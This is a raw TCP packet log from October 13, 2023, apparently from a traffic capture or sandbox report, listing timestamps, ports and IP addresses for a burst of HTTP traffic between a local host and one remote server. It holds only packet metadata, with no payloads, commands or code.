Oct 13, 2023 16:06:20.355993986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.356077909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.356277943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.356319904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.356343031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.356390953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.356547117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.356590033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.356606960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.356646061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.356861115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.356899977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.356916904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.356965065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.356993914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.357040882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.357153893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.357192993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.357213974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.357253075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.357279062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.357317924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.357585907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.357623100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.357703924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.357742071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.357765913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.357801914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.357969999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.358022928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.358052015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.358084917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.358108044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.358144999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.358400106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.358439922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.358457088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.358495951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.358750105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.358787060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.358810902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.358846903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.358884096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.358918905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.359003067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.359045029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.359174013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.359208107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.359296083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.359337091 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.359467030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.359505892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.359529972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.359568119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.359680891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.359720945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.359831095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.359869003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.359939098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.359977007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.360002041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.360037088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.360361099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.360411882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.360589027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.360630989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.360699892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.360714912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.360743046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.360768080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.360778093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.360816002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.360892057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.360929012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.360945940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.360982895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.361115932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.361155033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.361242056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.361282110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.361305952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.361344099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.361495018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.361534119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.361555099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.361589909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.361758947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.361799955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.361943960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.361979961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.361989021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.362026930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.362063885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.362099886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.362370968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.362411976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.362509966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.362545967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.362656116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.362696886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.362731934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.362770081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.362829924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.362870932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.363194942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.363245964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.363271952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.363311052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.363400936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.363439083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.363473892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.363508940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.363548040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.363584042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.363884926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.363929033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.363986969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.364022970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.364281893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.364326000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.364394903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.364432096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.364505053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.364557028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.364577055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.364615917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.364639044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.364696026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.364809036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.364851952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.364877939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.364918947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.364999056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.365042925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.365128994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.365173101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.365196943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.365267992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.365309954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.365348101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.365417957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.365454912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.365677118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.365720034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.365745068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.365782976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.365808010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.365844965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.365880966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.365919113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.366096973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.366136074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.366839886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.366885900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.366909981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.366950035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.367033958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.367078066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.367113113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.367151976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.367166042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.367204905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.367224932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.367261887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.367615938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.367655993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.367680073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.367722988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.367789984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.367846966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.367871046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.367908001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.367944002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.367983103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.368017912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.368072987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.368190050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.368228912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.368391037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.368428946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.368662119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.368732929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.368761063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.368798971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.368813038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.368849039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.368885040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.368921041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.369003057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.369045019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.369208097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.369252920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.369277000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.369316101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.369386911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.369426012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.369461060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.369498968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.369744062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.369782925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.369808912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.369848967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.369873047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.369913101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.370013952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.370054007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.370110989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.370155096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.370289087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.370342016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.370368958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.370408058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.370507002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.370548964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.370572090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.370611906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.370837927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.370876074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.370949984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.370987892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.371046066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.371082067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.371103048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.371139050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.371174097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.371210098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.371346951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.371385098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.371390104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.371426105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.371710062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.371747017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.371783018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.371817112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.371869087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.371905088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.371941090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.371975899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.372203112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.372251987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.372390985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.372426987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.372459888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.372494936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.372541904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.372577906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.372651100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.372685909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.372869015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.372905970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.372947931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.372987986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.373049974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.373085022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.373266935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.373305082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.373660088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.373697042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.373745918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.373775959 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.373781919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.373811960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.373848915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.373883963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.373955965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.373997927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.374036074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.374074936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.374110937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.374147892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.374315977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.374353886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.374398947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.374434948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.374631882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.374670029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.374819040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.374855042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.374878883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.374913931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.375013113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.375049114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.375128031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.375163078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.375283003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.375322104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.375356913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.375395060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.375488997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.375525951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.375668049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.375713110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.375880957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.375926018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.375962973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.376002073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.376116037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.376157999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.376244068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.376291990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.376359940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.376399040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.376424074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.376466036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.376669884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.376708984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.376777887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.376817942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.376852036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.376888037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377062082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.377104998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377140045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.377177954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377326012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.377341032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.377365112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377378941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377401114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.377437115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377453089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.377490997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377513885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.377553940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377789021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.377830029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377887964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.377933979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.377991915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.378026962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.378335953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.378395081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.378408909 CEST	80	49762	91.215.85.17	192.168.2.4
